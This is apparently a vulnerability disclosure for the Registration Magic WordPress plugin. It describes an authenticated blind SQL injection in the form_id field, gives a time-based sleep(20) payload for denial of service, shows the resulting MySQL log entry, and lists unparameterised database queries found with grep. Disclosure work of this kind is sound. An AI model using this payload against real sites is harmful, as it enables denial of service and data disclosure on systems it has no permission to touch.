Vulnerability Discovery

Registration Magic Authenticated Blind SQL Injection inside URL

Registration Magic Version Authenticated Blind SQL Injection in URL



If you still haven’t read the preface to this discovery please take a look here.



Technical Details


Authenticated SQL Injection in Form_id field

The form_id field takes input from a number of in the front end and processes it on the backend without properly validating the input, as a result, it is possible to perform an SQL injection on the database if the correct permissions are granted. The most likely attack vector here is DOS or Information Disclosure if a successful phishing campaign is made against the administrator.

Below is the payload used to cause the DOS condition.*from(select(sleep(20)))a)&rm_tr=30


Code Breakdown

Using sudo tail –f /var/log/mysql/mysql.log, I viewed the SQL injection hitting the database.

SELECT `browser_name`, COUNT(*) AS `count` FROM `wp_rm_stats` WHERE `form_id` = '(select*from(select(sleep(20)))a)' AND `browser_name` IN


Taking a look at how the SQL queries are being generated on the back-end I noticed a number of locations wherein the use of prepared statements were missing.


grep -ri --color=always "wpdb->" | grep "form_id"

plus/chronos/libs/query_builder.php:            $submitters = $wpdb->get_results("SELECT `ID` FROM `$user_table` WHERE `user_email` IN (SELECT `user_email` FROM $rm_subs_table WHERE `form_id` = {$this->form_id})", OBJECT_K);
plus/chronos/libs/rm_chronos.php:        $res = $wpdb->get_results("SELECT * FROM {$tasks_table} WHERE {$where_clause} ORDER BY `form_id`, `task_order`, `task_id`");
plus/chronos/libs/task_model.php:        $max_order = $wpdb->get_var("SELECT MAX(`task_order`) FROM {$table_name} WHERE `form_id` = {$data['form_id']}");
includes/class_rm_activator.php:        $wpdb->query("ALTER TABLE `$field_table_name` ADD `page_no` INT(6) NOT NULL DEFAULT '1' AFTER `form_id`");
includes/class_rm_activator.php:                $sfids = $wpdb->get_results("SELECT `form_id`, `form_type` FROM $form_table ORDER BY `form_id` DESC LIMIT 2");
includes/class_rm_dbmanager.php:        $wpdb->delete($table_name, array('page_no' => $page_no, 'form_id' => $form_id), array('%d', '%d'));
includes/class_rm_table_tech.php:        $wpdb->query("ALTER TABLE `$field_table_name` ADD `page_no` INT(6) NOT NULL DEFAULT '1' AFTER `form_id`");
includes/class_rm_migrator.php:                        $form_options = $wpdb->get_var("SELECT form_options FROM $table_name_form WHERE `form_id` = $form_id");
includes/class_rm_migrator.php:                        $wpdb->update($table_name_form, array('form_options' => maybe_serialize($form_options)), array('form_id' => $form_id), '%s', '%d');
services/class_rm_services.php:            $db_fields = $wpdb->get_results("SELECT * FROM `$table_name` WHERE `form_id` = $form_id AND `field_is_editable` = 1 AND `field_type` != 'Price' ORDER BY `page_no` ASC, `field_order` ASC");


Update to the latest version of Registration Magic.